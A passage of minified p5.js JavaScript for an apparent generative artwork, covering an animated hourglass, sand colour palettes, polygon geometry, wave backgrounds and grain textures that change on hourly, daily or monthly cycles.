.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
